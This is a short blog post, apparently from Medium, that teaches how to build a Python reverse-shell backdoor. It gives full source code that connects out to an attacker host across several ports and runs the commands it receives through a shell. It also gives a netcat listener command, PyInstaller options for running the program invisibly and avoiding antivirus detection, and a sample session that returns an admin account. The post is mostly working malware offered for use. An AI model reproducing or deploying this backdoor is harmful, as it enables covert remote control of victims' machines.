Python Backd00r

alixan
3 min readSep 8, 2022

--

We will create a simple Python reverse shell that we can use to install a shell like Meterpreter. Our program will be quite simple. All we have to do is reconnect to a Netcat listener on our attack machine, send commands to our program over the remote connection, execute the command locally, and send the results back over the network connection.

  • For command execution, we will use the “subprocess” module
  • We’ll use PyInstaller to run our script on a Windows computer
  • To connect to the attacker and send and receive commands, we will use the “socket” module

There are various products to convert Python scripts to executables

  • PyInstaller, py2exe and nuitka on Windows
  • PyInstaller or freeze on Linux
  • py2app on Macintosh
  • We will use PyInstaller

Freeze can be used to create a distributable ELF binary on Linux. py2app will create applications-compatible 64-bit Mach-o style binaries for the Apple Macintosh.

Python is an interpreted language. These applications do not compile the scripts into a native PE format executable. Rather, they create a small collection of files that contain your .py script and the Python Interpreter. By default, all of the required files to execute your script and the Interpreter are placed in a single directory that you can distribute to a target system. However, you can modify this behavior by using the — onefile option and tell PyInstaller that you want all the files from that directory to be in a single executable. “ — onefile” works by packing all the shared libs

~ noconsole (-w): Run the program invisibly in the background

~ onefile (-F): Create a single executable with all of the libraries and dependencies.

~ onedir (-D): Create a single directory with all the files and executables

~ noupx: Do not UPX pack the executables (AV often detects UPX packed .EXEs).

B@cd00r :

Then start Netcat listening on port {port} to receive the backdoor connection : nc -nv -l -p { port }

import socket
import time
import subprocess

def scan_and_connect():
# Scan for open ports and connect to them
print("Started")
connected = False
while not connected:
for port in [21, 22, 81, 443, 8000]:
# Scan for open ports
time.sleep(0.5)
# Wait 0.5 seconds
try:
print("Trying", port, end=' ')
# Print the port we are trying
mysocket.connect(("{ip}", port)) # Try to connect to the port
except socket.error:
# If we can't connect to the port
print("-")
continue
else:
print("Connected")
connected = True
break

mysocket = socket.socket()
# Create a socket
scan_and_connect() # Scan for open ports and connect to them
while True:
try:
commandrequested = mysocket.recv(1024).decode()
# Get the command from the server
if len(commandrequested) == 0:
# If the server has disconnected
time.sleep(3)
# Wait 3 seconds
mysocket = socket.socket()
# Create a new socket
scan_and_connect()
# Scan for open ports and connect to them
continue
if commandrequested[:4] == "QUIT":
# If the server has requested to quit
mysocket.send("Terminating Connection.".encode())
# Send a message to the server
break
prochandle = subprocess.Popen(
commandrequested, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# Run the command
results, errors = prochandle.communicate()
# Get the results and errors
mysocket.send(results + errors)
# Send the results and errors to the server
except socket.error:
# If the server has disconnected
break
except Exception as e: # If there is an error
mysocket.send(str(e).encode())
# Send the error to the server
break

Let’s run it now

Started Trying 21 -Trying 22 —Trying 81 —Trying 443 —Trying 23 —Trying 4444 Connected

listening on [any] 4444 …
connect to [192.168.100.192] from (UNKNOWN) [192.168.100.10] 25968

whoami
asus\admin

--

--